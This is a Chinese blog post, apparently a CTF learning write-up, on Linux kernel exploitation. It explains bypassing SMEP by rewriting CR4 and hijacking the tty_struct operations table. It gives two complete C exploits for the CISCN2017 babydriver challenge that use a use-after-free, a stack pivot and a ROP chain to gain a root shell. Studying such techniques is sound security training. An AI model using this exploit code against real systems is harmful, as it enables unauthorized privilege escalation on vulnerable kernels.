编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 692 天前,最后修改于 692 天前,其中某些信息可能已经过时。

目录

SMEP原理
基础知识
tty_struct结构体
CISCN2017 - babydriver

给Linus一点小小的Pwn手震撼🤭

SMEP原理

前面我们提到 ret2usr是一种非常便利的Kernel ROP手法 那当然相关的安全开发工程师又不傻 肯定要针对利用手法做出封堵 于是SMEP保护诞生了

SMEP全称Supervisor Mode Execution Protection 主要就是当CPU处于Ring0时 执行用户空间的代码会触发页错误

系统一般是通过CR4寄存器的值来判断是否开启SMEP保护 当CR4的第20位为1是保护开启 但是CR4寄存器是可以通过mov执行修改的所以一般只需要修改CR4寄存器的值即可关闭保护( 一般使用一个固定值0x6f0 )

基础知识

tty_struct结构体

/dev下存在一个伪终端设备ptmx 其主要作用就是和pts(在XWindows下使用的虚拟终端)一起实现pty(远程虚拟终端) 当我们打开这个设备的时候 会创建一个结构体tty_struct

结构体定义在include/linux/tty.h

c
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; ... } __randomize_layout;

其余的定义都不是很重要 重要的是这里有个名字比较眼熟的指针tty_operations与之对比的是file_operations 内部包含了各种文件操作的函数指针 那么同样tty_operations内部也包含了大量与tty设备交互相关的函数指针

tty_operations定义在include/linux/tty_drive.h

c
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); ... } __randomize_layout;

可以看到总体结构和file_operations类似 那么就由此衍生出来一种攻击手法 可以让我们在可控tty_struct结构体的条件下 修改tty_operations指针 导致任意函数执行

CISCN2017 - babydriver

这题之前我们在说UAF的时候用过 主要是逻辑上存在UAF漏洞 之前我们是用cred结构体实现的提权 这次我们试试使用Ret2Usr来看看

首先写出来一个大概

c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sys/types.h> #include <sys/ioctl.h> // gcc exp2.c -o exp2 -static -masm=intel -g size_t commit_creds; size_t prepare_kernel_cred; size_t user_cs,user_ss,user_rflags,user_sp; #define commit_creds 0xffffffff810a1420 #define prepare_kernel_cred 0xffffffff810a1810 void *tty_operation[30]={0}; void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); } void get_shell() { system("/bin/sh"); } int main(void) { saveStatus(); int i=0; size_t rop[100]={0}; // 先关闭smep rop[i++]=0xffffffff8100ce6e;// pop rax; ret; rop[i++]=0x6f0; rop[i++]=0xffffffff81005bd4;// mov cr4,rax; pop rbp; ret; rop[i++]=0; rop[i++]=(size_t)get_root; rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret; rop[i++]=0; rop[i++]=0xffffffff814e35ef;// iretq; ret; rop[i++]=(size_t)get_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; int fd1=open("/dev/babydev",2); int fd2=open("/dev/babydev",2); ioctl(fd1,0x10001,0x2e0); close(fd1); int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY); for(i=0;i<30;i++) { tty_operation[i]=0xffffffffffffff00+i; } tty_operation[7]=0xffffffffc0000130; size_t tty_struct[4]={0}; read(fd2,tty_struct,32); tty_struct[3]=(size_t)tty_operation; write(fd2,tty_struct,32); char buf[0x8]={0}; write(tty,buf,8); return 0; }

这个时候我们已经触发tty_operation[7]也就是write了 我们现在将write自定义为babyread 当我们上手调试的时候回发现一个问题

我们发现rax指向我们的tty_opreation[0] 但是我们的栈不是我们想要的栈啊 那么我们的rop全部都是乱的 那么我们可以利用rax的值 正好布置好我们需要的栈

c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sys/types.h> #include <sys/ioctl.h> // gcc exp2.c -o exp2 -static -masm=intel -g size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0xffffffff810a1420; size_t prepare_kernel_cred=0xffffffff810a1810; void *tty_operation[30]={0}; void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } void get_root() { char* (*pkc)(int)=prepare_kernel_cred; char* (*cc)(char *)=commit_creds; (*cc)((*pkc)(0)); } void get_shell() { system("/bin/sh"); } int main(void) { saveStatus(); int i=0; // size_t rop[100]={0}; // 先关闭smep // rop[i++]=0xffffffff810d238d;// pop rax; ret; // rop[i++]=0x6f0; // rop[i++]=0xffffffff81004d80;// mov cr4,rax; pop rbp; ret; // rop[i++]=0xffff880005f8a000; // rop[i++]=(size_t)get_root; // rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret; // rop[i++]=0xffff880005f8a000; // rop[i++]=0xffffffff814e35ef;// iretq; ret; // rop[i++]=(size_t)get_shell; // rop[i++]=user_cs; // rop[i++]=user_rflags; // rop[i++]=user_sp; // rop[i++]=user_ss; size_t rop[32] = {0}; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss; int fd1=open("/dev/babydev",2); int fd2=open("/dev/babydev",2); ioctl(fd1,0x10001,0x2e0); close(fd1); printf("-----\n%p-------\n",(size_t)get_root); int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY); for(i=0;i<30;i++) { tty_operation[i]=0xffffffff8181bfc5; } tty_operation[0]=0xffffffff810635f5; // pop rax; pop rbp; ret tty_operation[1]=(size_t)rop; tty_operation[3]=0xffffffff8181bfc5; // mov rsp,rax; dec ebs; ret tty_operation[7]=0xffffffff8181bfc5; // mov rsp,rax; dec ebx; ret // 栈迁移 size_t tty_struct[4]={0}; read(fd2,tty_struct,32); tty_struct[3]=(size_t)tty_operation; write(fd2,tty_struct,32); char buf[0x8]={0}; write(tty,buf,8); return 0; }

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!